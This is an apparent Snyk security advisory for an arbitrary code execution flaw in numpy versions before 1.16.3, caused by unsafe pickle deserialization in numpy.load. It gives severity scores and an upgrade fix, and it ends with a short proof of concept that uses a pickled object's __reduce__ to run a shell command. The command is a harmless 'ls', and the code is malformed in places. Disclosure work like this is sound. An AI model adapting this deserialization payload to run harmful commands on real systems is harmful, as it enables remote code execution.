Arbitrary Code Execution Affecting numpy package, versions [0,1.16.3)


0.0
critical
0
10

Snyk CVSS

    Attack Complexity Low
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 4.81% (93rd percentile)
Expand this section
NVD
9.8 critical
Expand this section
SUSE
7.8 high
Expand this section
Red Hat
8.8 high

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-NUMPY-73513
  • published 16 Jan 2019
  • disclosed 16 Jan 2019
  • credit nanshihui

How to fix?

Upgrade numpy to version 1.16.3 or higher.

Overview

numpy is a fundamental package needed for scientific computing with Python.

Affected versions of this package are vulnerable to Arbitrary Code Execution. It uses the pickle Python module unsafely, which allows remote attackers to execute arbitrary code via a crafted serialized object, as demonstrated by a numpy.load call.

PoC by nanshihui:

import numpy
from numpy import __version__
print __version__
import os
import  pickle
class Test(object):
    def __init__(self):
        self.a = 1

def __reduce__(self):
    return (os.system,('ls',))

tmpdaa = Test() with open("a-file.pickle",'wb') as f: pickle.dump(tmpdaa,f) numpy.load('a-file.pickle')